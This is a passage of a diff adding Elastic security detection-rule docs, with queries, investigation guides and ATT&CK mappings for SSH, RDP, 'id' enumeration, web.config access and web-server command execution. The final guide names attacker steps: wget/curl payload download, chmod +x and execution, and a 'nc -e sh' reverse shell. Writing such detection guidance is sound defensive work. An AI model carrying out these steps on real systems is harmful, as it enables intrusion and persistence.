Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual SSHD Child Process* + + +Secure Shell (SSH) is a protocol used to securely access remote systems. Adversaries may exploit SSH to maintain persistence or create backdoors by spawning unexpected child processes. The detection rule identifies anomalies by monitoring process creation events where SSH or SSHD is the parent, focusing on atypical command-line arguments, which may indicate malicious activity. + + +*Possible investigation steps* + + +- Review the process command line arguments for the unusual SSHD child process to identify any suspicious or unexpected commands that could indicate malicious activity. +- Check the user account associated with the SSHD child process to determine if it is a legitimate user or if there are signs of compromise, such as unusual login times or locations. +- Investigate the parent process (SSH or SSHD) to understand the context of the connection, including the source IP address and any associated user activity, to assess if it aligns with expected behavior. +- Examine the process tree to identify any subsequent processes spawned by the unusual SSHD child process, which may provide further insight into the attacker's actions or objectives. +- Correlate the event with other security logs and alerts from the same host or network segment to identify any related suspicious activities or patterns that could indicate a broader attack campaign. + + +*False positive analysis* + + +- Legitimate administrative scripts or automation tools may trigger this rule if they execute commands with SSH or SSHD as the parent process. To handle this, identify and document these scripts, then create exceptions for their specific command-line patterns. +- System maintenance tasks or updates that involve SSH connections might appear as unusual child processes. Regularly review and whitelist these known maintenance activities to prevent unnecessary alerts. +- Custom user environments or shell configurations that deviate from standard shells like bash, zsh, or sh could be flagged. Analyze these configurations and exclude them if they are verified as non-threatening. +- Monitoring tools or security solutions that interact with SSH sessions for logging or auditing purposes might generate alerts. Verify these tools' behavior and exclude their processes if they are part of legitimate monitoring activities. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious SSHD child processes identified by the alert to halt potential malicious activities. +- Conduct a thorough review of SSH configuration files and access logs to identify unauthorized changes or access patterns, and revert any unauthorized modifications. +- Change all SSH keys and credentials associated with the compromised system to prevent further unauthorized access. +- Implement additional monitoring on the affected system and related network segments to detect any further suspicious activities or attempts to re-establish persistence. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Review and update firewall rules and access controls to restrict SSH access to only trusted IP addresses and users, reducing the attack surface for future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:linux and event.type:start and event.action:(exec or ProcessRollup2) and +process.parent.name:sshd and process.args_count:2 and process.parent.args:"-D" and +not ( + process.command_line:(-bash or -zsh or -sh) or + process.name:(ractrans or exectask or tty or tput or ferny-askpass or id or ip) or + process.executable:/var/tmp/foreman-ssh-cmd*/script +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-time-or-day-for-an-rdp-session.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-time-or-day-for-an-rdp-session.asciidoc new file mode 100644 index 0000000000..ac236543ef --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-time-or-day-for-an-rdp-session.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-unusual-time-or-day-for-an-rdp-session]] +=== Unusual Time or Day for an RDP Session + +A machine learning job has detected an RDP session started at an usual time or weekday. An RDP session at an unusual time could be followed by other suspicious activities, so catching this is a good first step in detecting a larger attack. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Time or Day for an RDP Session* + + +Remote Desktop Protocol (RDP) enables remote access to systems, crucial for IT management but also a target for adversaries seeking unauthorized access. Attackers exploit RDP by initiating sessions at odd hours to avoid detection. The detection rule leverages machine learning to identify atypical RDP session timings, flagging potential lateral movement attempts for further investigation. + + +*Possible investigation steps* + + +- Review the timestamp of the RDP session to determine the specific unusual time or day it was initiated, and correlate it with known business hours or scheduled maintenance windows. +- Identify the source and destination IP addresses involved in the RDP session to determine if they are internal or external, and check for any known associations with previous security incidents. +- Examine the user account used to initiate the RDP session, verifying if it is a legitimate account and if the login aligns with the user's typical behavior or role within the organization. +- Check for any additional suspicious activities or alerts involving the same user account or IP addresses around the time of the unusual RDP session, such as failed login attempts or access to sensitive files. +- Investigate any recent changes or anomalies in the network or system configurations that could have facilitated the unusual RDP session, such as newly opened ports or modified firewall rules. +- Consult logs from other security tools or systems, such as SIEM or endpoint detection and response (EDR) solutions, to gather more context on the RDP session and any related activities. + + +*False positive analysis* + + +- Regular maintenance activities by IT staff during off-hours can trigger false positives. Identify and document these activities to create exceptions in the detection rule. +- Scheduled automated tasks or scripts that initiate RDP sessions at unusual times may be misclassified. Review and whitelist these tasks to prevent unnecessary alerts. +- Time zone differences for remote employees accessing systems outside of standard business hours can lead to false positives. Adjust detection parameters to account for these time zone variations. +- Third-party vendors or contractors who require access at non-standard times should be documented and their access patterns reviewed to establish exceptions. +- Emergency access situations where IT staff need to respond to critical incidents outside normal hours should be logged and considered when analyzing alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate the suspicious RDP session to halt any ongoing unauthorized activities. +- Conduct a thorough review of the affected system's logs and processes to identify any malicious activities or changes made during the session. +- Reset credentials for any accounts accessed during the unusual RDP session to prevent further unauthorized use. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement enhanced monitoring on the affected system and related network segments to detect any further suspicious activities or attempts at unauthorized access. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows RDP process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-user-privilege-enumeration-via-id.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-user-privilege-enumeration-via-id.asciidoc new file mode 100644 index 0000000000..4d4c5a844c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-user-privilege-enumeration-via-id.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-unusual-user-privilege-enumeration-via-id]] +=== Unusual User Privilege Enumeration via id + +This rule monitors for a sequence of 20 "id" command executions within 1 second by the same parent process. This behavior is unusual, and may be indicative of the execution of an enumeration script such as LinPEAS or LinEnum. These scripts leverage the "id" command to enumerate the privileges of all users present on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual User Privilege Enumeration via id* + + +The `id` command in Linux environments is used to display user identity information, including user and group IDs. Adversaries may exploit this command in enumeration scripts to gather extensive user privilege data rapidly, which can aid in lateral movement or privilege escalation. The detection rule identifies suspicious activity by flagging rapid, repeated executions of the `id` command, suggesting potential misuse by scripts like LinPEAS or LinEnum. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific host.id and process.parent.entity_id associated with the suspicious activity. +- Examine the parent process of the 'id' command executions to determine if it is a known or legitimate process, and check for any unusual or unexpected parent process names or arguments. +- Investigate the timeline of events on the affected host around the time of the alert to identify any other suspicious activities or related processes that may indicate a broader attack or script execution. +- Check the user account associated with the process executions to verify if it has legitimate access and if there are any signs of compromise or misuse. +- Look for any additional indicators of compromise on the host, such as unauthorized file modifications, network connections, or other unusual command executions, to assess the scope of potential malicious activity. + + +*False positive analysis* + + +- System management scripts or automated tasks may execute the id command frequently for legitimate purposes. Review the parent process to determine if it is a known management tool or script. +- Software installation or update processes might trigger the rule if they use the id command to verify user permissions. Consider excluding processes with parent names like rpm or similar package managers. +- Custom scripts developed in-house for system monitoring or auditing could inadvertently match the rule's criteria. Identify these scripts and add exceptions for their parent process entity IDs. +- Security tools or compliance checks that perform regular user enumeration might cause false positives. Verify the source of these tools and exclude them if they are part of a trusted security suite. +- In environments with high user account turnover, scripts that manage user accounts might execute the id command in rapid succession. Evaluate these scripts and exclude them if they are part of routine account management. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the parent process identified in the alert to halt further enumeration activities. +- Conduct a thorough review of the parent process and its associated scripts to determine if they are legitimate or malicious. +- If malicious activity is confirmed, perform a comprehensive scan of the system for additional indicators of compromise, such as unauthorized user accounts or altered system files. +- Reset credentials for any user accounts that may have been exposed or compromised during the enumeration activity. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. +- Implement enhanced monitoring and logging for similar enumeration activities to improve detection and response capabilities for future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name == "id" and process.args_count == 2 and + not ( + process.parent.name in ("rpm", "snarftmp", "quota_copy", "java") or + process.parent.args like ( + "/var/tmp/rpm-tmp*", "/tmp/netdata-kickstart.sh", "./k8s-certifikator.sh", "/usr/local/bin/docker-entrypoint.sh", + "./set_quota.sh" + ) or + (process.parent.name == "java" and process.args == "oracle") + )] with runs=20 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-web-config-file-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-web-config-file-access.asciidoc new file mode 100644 index 0000000000..f507a5076f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-web-config-file-access.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-unusual-web-config-file-access]] +=== Unusual Web Config File Access + +Detects unusual access to the web.config file, which contains sensitive credential information such as database connection strings, machineKey validation/decryption keys, and SAML/OAuth token settings. Attackers can use the information extracted to forge malicious __VIEWSTATE requests for persistent RCE on the web server or pivot to the SQL server using exposed connection strings. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Web Config File Access* + +Web.config files are crucial in Windows environments, storing sensitive data like database credentials and encryption keys. Adversaries target these files to extract information for attacks such as forging malicious requests or accessing databases. The detection rule identifies suspicious access patterns by monitoring file access events in specific directories, helping analysts spot potential credential theft or server exploitation attempts. + + +*Possible investigation steps* + + +- Investigate the user account associated with the access event to verify if the account has legitimate reasons to access the web.config file or if it might be compromised. +- Analyze recent activity from the same user or IP address to identify any other suspicious behavior or access patterns that could indicate a broader security incident. +- Review system logs and network traffic around the time of the alert to identify any related anomalies or signs of exploitation attempts, such as unusual database queries or web server requests. + + +*False positive analysis* + + +- Routine administrative tasks by IT personnel may trigger alerts when accessing web.config files for legitimate configuration updates. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Automated backup processes that access web.config files can be mistaken for suspicious activity. Identify and exclude these processes by their specific user accounts or service names. +- Web application updates or deployments often involve accessing web.config files. Exclude these activities by correlating them with known deployment tools or scripts. +- Security scanning tools that check web.config files for vulnerabilities might generate false positives. Whitelist these tools by their process names or IP addresses to prevent unnecessary alerts. +- Monitoring or logging solutions that periodically read web.config files for audit purposes can be excluded by identifying their specific access patterns and excluding them from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected server to prevent further unauthorized access and potential lateral movement within the network. +- Conduct a thorough review of the web.config file to identify any unauthorized changes or access patterns, focusing on exposed credentials and keys. +- Rotate all credentials and keys found within the web.config file, including database connection strings and encryption keys, to mitigate the risk of credential theft. +- Implement additional monitoring and logging for access to web.config files across all servers to detect future unauthorized access attempts. +- Escalate the incident to the security operations center (SOC) for further investigation and correlation with other potential indicators of compromise. +- Review and update firewall rules and access controls to ensure that only authorized users and applications can access sensitive directories containing web.config files. +- Conduct a post-incident analysis to identify gaps in security controls and enhance detection capabilities for similar threats in the future. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:windows and event.action:open and + file.name:"web.config" and file.path : *VirtualDirectories* and + not process.executable: ( + "C:\Program Files\Microsoft Security Client\MsMpEng.exe" or + "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" or + "C:\Windows\System32\MRT.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-web-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-web-request.asciidoc new file mode 100644 index 0000000000..397dbc99fc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-web-request.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-unusual-web-request]] +=== Unusual Web Request + +A machine learning job detected a rare and unusual URL that indicates unusual web browsing activity. This can be due to initial access, persistence, command-and-control, or exfiltration activity. For example, in a strategic web compromise or watering hole attack, when a trusted website is compromised to target a particular sector or organization, targeted users may receive emails with uncommon URLs for trusted websites. These URLs can be used to download and run a payload. When malware is already running, it may send requests to uncommon URLs on trusted websites the malware uses for command-and-control communication. When rare URLs are observed being requested for a local web server by a remote source, these can be due to web scanning, enumeration or attack traffic, or they can be due to bots and web scrapers which are part of common Internet background traffic. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Web Request* + +The 'Unusual Web Request' detection leverages machine learning to identify rare URLs that deviate from typical web activity, potentially signaling malicious actions like initial access or data exfiltration. Adversaries exploit trusted sites by embedding uncommon URLs for payload delivery or command-and-control. This rule flags such anomalies, aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific rare URL that triggered the detection and note any associated IP addresses or domains. +- Check historical logs to determine if the rare URL has been accessed previously and identify any patterns or trends in its usage. +- Investigate the source of the request by examining the user agent, referrer, and originating IP address to assess whether it aligns with known legitimate traffic or appears suspicious. +- Analyze the destination of the URL to determine if it is associated with known malicious activity or if it has been flagged in threat intelligence databases. +- Correlate the unusual web request with other security events or alerts to identify potential connections to broader attack campaigns or ongoing threats. +- Assess the impacted systems or users to determine if there are any signs of compromise, such as unexpected processes, network connections, or data exfiltration attempts. +- Consider reaching out to the user or system owner to verify if the access to the rare URL was intentional and legitimate, providing additional context for the investigation. + + +*False positive analysis* + + +- Web scraping tools and bots can trigger false positives by making requests to uncommon URLs as part of routine internet background traffic. +- Legitimate web scanning or enumeration activities by security teams may be flagged; these should be reviewed and whitelisted if verified as non-threatening. +- Automated processes or scripts that access rare URLs for legitimate business purposes can be excluded by identifying and documenting these activities. +- Frequent access to uncommon URLs by trusted internal applications or services should be monitored and added to exception lists to prevent unnecessary alerts. +- Regularly review and update the list of excluded URLs to ensure it reflects current legitimate activities and does not inadvertently allow malicious traffic. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further communication with the suspicious URL and potential data exfiltration. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious payloads or software. +- Review and block the identified unusual URL at the network perimeter to prevent other systems from accessing it. +- Analyze network logs to identify any other systems that may have communicated with the suspicious URL and apply similar containment measures. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement enhanced monitoring for similar unusual web requests across the network to detect and respond to potential threats more quickly in the future. +- Review and update firewall and intrusion detection/prevention system (IDS/IPS) rules to better detect and block uncommon URLs associated with command-and-control activities. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-web-server-command-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-web-server-command-execution.asciidoc new file mode 100644 index 0000000000..95cd279350 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-web-server-command-execution.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-unusual-web-server-command-execution]] +=== Unusual Web Server Command Execution + +This rule leverages the "new_terms" rule type to detect unusual command executions originating from web server processes on Linux systems. Attackers may exploit web servers to maintain persistence on a compromised system, often resulting in atypical command executions. As command execution from web server parent processes is common, the "new_terms" rule type approach helps to identify deviations from normal behavior. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Web Server Command Execution* + + +This rule detects shells invoked by web server processes on Linux to run one-off commands, surfacing command lines the server has never executed before. Attackers exploit vulnerable apps or dropped webshells to launch bash -c from web roots, e.g., download a payload with wget/curl into /opt or /tmp, chmod +x and execute it, or open a reverse shell (nc -e sh) to implant services or cron-like tasks and persist under the web server account. + + +*Possible 